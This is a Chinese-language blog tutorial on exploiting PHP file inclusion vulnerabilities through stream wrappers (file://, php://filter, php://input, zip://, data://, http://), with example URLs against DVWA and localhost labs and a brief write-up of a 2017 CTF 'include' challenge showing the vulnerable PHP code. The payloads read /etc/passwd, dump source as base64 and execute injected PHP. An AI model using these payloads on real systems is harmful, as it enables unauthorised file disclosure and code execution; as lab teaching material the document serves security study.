PHP伪协议

文件包含漏洞利用的前提

1.web 应用采用 include 等文件包含函数,并且需要包含的文件路径是通过用户传输参数的方式引入;
2.用户能够控制包含文件的参数,被包含的文件可被当前页面访问;
在使用文件包含漏洞时,必须要能知道其绝对路径
方法: 在包含文件处,查看其返回的错误的信息

伪协议种类

1
2
3
4
5
6
7
8
9
10
11
12
file:// — 访问本地文件系统
http:// — 访问 HTTP(s) 网址
ftp:// — 访问 FTP(s) URLs
php:// — 访问各个输入/输出流(I/O streams)
zlib:// — 压缩流
data:// — 数据(RFC 2397)
glob:// — 查找匹配的文件路径模式
phar:// — PHP 归档
ssh2:// — Secure Shell 2
rar:// — RAR
ogg:// — 音频流
expect:// — 处理交互式的流

伪协议后文件必须是绝对路径

file

条件:allow_url_fopen: off/on allow_url_include: off/on

1
2
Linux	:http://127.0.0.1/FI/LFI.php?file=file:///etc/passwd		绝对路径
Windows :http://192.168.6.128:8001/vulnerabilities/fi/?page=file:///C:\DVWA-master\vulnerabilities\fi\1.txt 绝对路径

php

1
2
3
4
5
6
php://伪协议,主要为php://input与php://filter
php://input:将POST输入流当做PHP代码执行。其只allow_url_include参数的影响,allow_url_fopen开关与此伪协议无关。

php://output 是一个只写的数据流, 允许你以 printecho 一样的方式 写入到输出缓冲区

php://filter伪协议:不受 allow_url_fopen与allow_url_include参数的影响
1
2
3
4
5
6
http://192.168.6.128:8001/vulnerabilities/fi/?page=php://filter/resource=./1.txt		相对路径
http://192.168.6.128:8001/vulnerabilities/fi/?page=php://filter/resource=file:///C:\DVWA-master\vulnerabilities\fi\1.txt 绝对路径
http://127.0.0.1/FI/LFI.php?file=php://filter/resource=file:///etc/passwd

此协议主要用于读取php源代码时会用到
http://192.168.6.128:8001/vulnerabilities/fi/?page=php://filter/read=convert.base64-encode/resource=./1.txt 以base64编码将文件内容输出

zip

条件:allow_url_fopen: off/on allow_url_include: off/on
1 、现将要执行 php 代码写好并且命名为 a.txt,将 a.txt 进行 zip 压缩,命名为 a.zip,如果可以上传 zip 文件便直接上传,如若不能可将 a.zip 命名为 a.jpg 上传;
2 、将 a.php 直接压缩成 a.bz2

1
2
http://127.0.0.1/LFI.php?file=zip://D:/phpstudy/PHPTutorial/WWW/a.zip%23a.txt 
http://127.0.0.1/FI/LFI.php?file=zip://D:/phpstudy/PHPTutorial/WWW/a.jpg%23a.txt

phar

条件:allow_url_fopen: off/on allow_url_include: off/on php 版本大于等于php5.3.0

data

1
2
3
4
allow_url_fopen: on 			allow_url_include: on

http://192.168.6.128:8001/vulnerabilities/fi/?page=data://test/plain,<?php phpinfo();?>
http://192.168.6.128:8001/vulnerabilities/fi/?page=data://test/plain;base64,PD9waHAgcGhwaW5mbygpPz4=

input

1
2
3
4
条件:allow_url_fopen:off/on allow_url_include:on

http://127.0.0.1/LFI.php?file=php://input
用post方式提交这个数据 <?php phpinfo()?>

http

1
2
3
allow_url_fopen与allow_url_include同时开启。缺一不可

http://localhost/test.php?file=http://www.baidu.com

文件包含 百度杯”CTF比赛 2017 二月场include

<?php 
show_source(__FILE__);
if(isset($_REQUEST['path'])){
include($_REQUEST['path']);
}else{
    include('phpinfo.php');
}

发现已经直接包含了phpinfo()。既然是文件包含错误,首先搜索了一下allow_url_include,发现是处于打开的状态。

既然 allow_url_include打开,意味着直接能使php://input用包含post中的代码。不多说,直接先查看一下目录下的文件:
发现一个可疑文件dle345aae.php,cat一下

参考链接:https://blog.csdn.net/Wu000999/article/details/101925271

-------------本文结束感谢您的阅读-------------
/*
*/